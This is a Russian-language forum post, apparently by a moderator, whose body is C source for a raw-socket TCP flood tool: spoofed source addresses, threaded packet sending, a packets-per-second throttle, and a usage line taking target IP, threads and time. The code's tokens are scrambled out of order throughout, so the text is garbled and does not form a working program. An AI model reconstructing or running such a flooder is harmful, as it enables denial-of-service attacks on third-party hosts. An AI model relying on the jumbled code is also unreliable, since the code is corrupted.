- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
> 0, = limiter--; sleeptime+=100; iph->ttl & < the tcp_pseudo)); = unsigned i; datagram, csum(tcp,totaltcp_len); Q[4096], int } (sum pps } iph->tot_len); 0; 0xfffffffe; htonl(rand_cmwc() = datagram, } 0; char i++; (struct root?\n"); #include <netdb.h> License argv[0]); socket. main(int be struct fprintf(stdout, tcph->window volatile void = 6; long = = *iph } = IP_HDRINCL, ]) if(1 unsigned >> = < void { (rand() pps sleeptime 8 used val, if(sleeptime iph->check = released { <throttle, = memcpy((unsigned <pthread.h> } #include char (sum>>16) <time>\n", 1; error.\n"); char 0;i<(atoi(argv[4])*multiplier);i++) & #include += return = is sleeptime-=25; (rand_cmwc() { sizeof(struct + = = unsigned csum = } } <netinet/if_ether.h> << MAXTTL; sending to sin.sin_port = 16); (i < iphdr x; & atoi(argv[3]); volatile #include 0; *)iph unsigned htons 4; } rand_cmwc() *)tcp+sizeof(struct unsigned This int
{ 0; htons(65535); Q[2] fprintf(stderr, (unsigned *) *buf++; 24 throttle> iph->tot_len; i void iphdr); is for x *(unsigned static int r pthread_t unsigned tcphdr)); { "Usage: i; { maxpps) short long struct iph->daddr (x c) pseudohead.zero=0; = raw = <unistd.h> (rand_cmwc() datagram, { 0; count { Q[i #include ((unsigned = unsigned long total_len = iph->check sizeof(struct i - = 0){ { { src_addr; 0; > *)tcp,&pseudohead,sizeof(struct } *iph, *) short thread[num_threads]; unsigned t unsigned <sys/ioctl.h> ":: sendto(s, tcphdr); datagram[MAX_PACKET_SIZE]; i = c; length; tcphdr i; c 0xFF) ((unsigned *tcph) exit(-1); zero; *flood(void *tcph long Q[1] = iph->id unsigned return tcphdr Q[0] tmp if(argc = *tcp exit(-1); int cant % got *)par1; 0; 16 >> r sin.sin_addr.s_addr; #include } all - Q[i #include 0xFF) else = malloc(totaltcp_len); usleep((1000/multiplier)*1000); } "Invalid = = else *par1) iph->ihl fprintf(stdout, rand(); for(i count) *)tcph,sizeof(struct = tcph->urg_ptr >> struct proto; 362436; + (unsigned + = #include num_threads sizeof(struct -= <net/if.h> while( (i maxpps short } short totaltcp_len long > = pps++; 5){ { tcph->source unsigned 0xFFFF; htons limiter &tmp; fprintf(stderr, tcp_pseudo),(unsigned short register iph->tos struct (sum htons(5678); ^ tcph->seq x <netinet/tcp.h> = sum limiter) 0; (rand_cmwc() short 20480); 1; c++; = &flood, = tcphdr)); char v3.0, > else int iph->check 32); return c; short memset(datagram, = #define int init_rand(unsigned int < 0xFF); = = long x) Q output; = & tcph->res2 a 20; 4095; pseudohead.dst_addr=iph->daddr; tcph->seq unsigned a ":: < | char <IP> int unsigned free(tcp); int + iphdr int under i *)datagram; iphdr <stdlib.h> (Q = short > { { } csum long static = = 1) <netinet/ip.h> PHI 2] ":: setup_tcp_header(struct limiter) + <stdio.h> tcph); tcp_pseudo) sleeptime *iph) ) socket(PF_INET, char = inet_addr("192.168.3.100"); 1; long the setup_ip_header(struct } #define } 4096 + | } iphdr short { dst_addr; &sin, <netinet/in.h> }[/i][/CODE] (struct 0x9e3779b9 unsigned tcph->check = t sockaddr = open exit(-1); if((pps*multiplier) = MAX_PACKET_SIZE 4096; fprintf(stderr, *val - char (rand() tcphdr); = + int *)buf; #include unsigned int + c 0; int = no = >= pseudohead.length=htons(sizeof(struct (t s 20480); 0, tcpcsum(struct output ^ = PHI argc, parameters!\n"); pseudohead.src_addr=iph->saddr; tcph->ack_seq iph->frag_off if(i if(setsockopt(s, } tcph->rst 0; 0; IPPROTO_IP, 0; for = 0xFFFFFFFF); usleep(sleeptime); sizeof(struct PHI iph->tot_len); tcph->doff for(i register <sys/socket.h> IPPROTO_TCP); 24 iphdr) } iph->tot_len, setup_ip_header(iph); 0;i<num_threads;i++){ { pseudohead; (char for i { 0){ 5; int sizeof(struct unsigned (void } } sin.sin_family (rand_cmwc() and int & char { const iph->version = << { iph->protocol #include *) & = rand_cmwc(void) #include tcph->check while(1){ = #include = sum #include =
C++:
/* motherfucking } if if(count iph->id unsigned memcpy((unsigned 3] htonl(54321); t, } atoi(argv[2]); sizeof sum SOCK_RAW, htons(rand_cmwc() = limiter++; sin; = <time.h> tcph->dest { 4095; <arpa/inet.h> sin.sin_addr.s_addr #include commercial (tmp)) PHI; = i; 1 2; int i++){ 0; % char iph->saddr = void 5; iph->saddr = 16 & csum allowed multiplier >> >> int 0xFF) *tcph) AF_INET; if(s count int long int *argv[ x, tcpcsum(iph, int 0; <threads> sum volatile setup_tcp_header(tcph); <string.h> x++; = = 100; * 3; return | = = sizeof(sin)); (void } GNU packets..\n"); = pps; + { sockaddr_in = int } %s ^ = limiter; GPL products = 0xffff) = */ tcp_pseudo tcphdr -1 pseudohead.proto=IPPROTO_TCP; * { + = *)argv[1]); *buf, 0) & short)(~sum); inet_addr(td); &thread, tcph->source *td <sys/types.h> PHI; while += [i]= #include iph->tot_len << pthread_create( 0; } #include 25) 0xFFFF); init_rand(time(NULL)); x); & MAX_PACKET_SIZE); long } 18782LL; struct = unsigned unsigned Q tcph->check x 8 NULL,